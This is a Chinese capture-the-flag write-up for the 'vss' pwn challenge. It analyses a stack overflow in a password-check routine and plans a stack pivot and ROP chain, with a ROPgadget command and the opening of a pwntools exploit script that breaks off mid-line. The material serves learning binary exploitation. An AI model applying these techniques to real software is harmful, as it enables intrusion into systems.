pwn练习2--vss

题目

题目.png

程序需要输入pw,10s后自动退出

保护措施:

pwn练习2--vss_第1张图片
checksec.png

二进制分析:
ida分析
由于该程序为静态链接,每个函数功能需要去分析
程序主函数


pwn练习2--vss_第2张图片
main.png

check函数


pwn练习2--vss_第3张图片
check.png

其中memcpy缓冲区为0x50,输入参数为0x48,此时可覆盖返回地址
如图,内存地址:0x18343ee8

pwn练习2--vss_第4张图片
stack.png

若输入前两位为'p'和'y'就直接返回1
不然就逐位与0x66异或与pass.enc文件比较,流程一比较好操作


pwn练习2--vss_第5张图片
check2.png

又由于可控可执行的栈空间只有一行(8个字节),所以要调整栈的位置,到下面栈帧的空间里去利用(有400h的空间),之后就可以构造ropchain

可利用工具寻找add esp,retropchain

ROPgadget --binary vss --ropchain

找到add esp,ret

pwn练习2--vss_第6张图片
44892a.png

可构造payload,exp如下:

exp:

from pwn import *
from struct import pack
p = remote('127.0.0.1',4000)
recv_content = p.recvuntil('Password:\n')
p2 = ''
p2 += pack('

测试:


pwn练习2--vss_第7张图片
test.png

你可能感兴趣的:(pwn练习2--vss)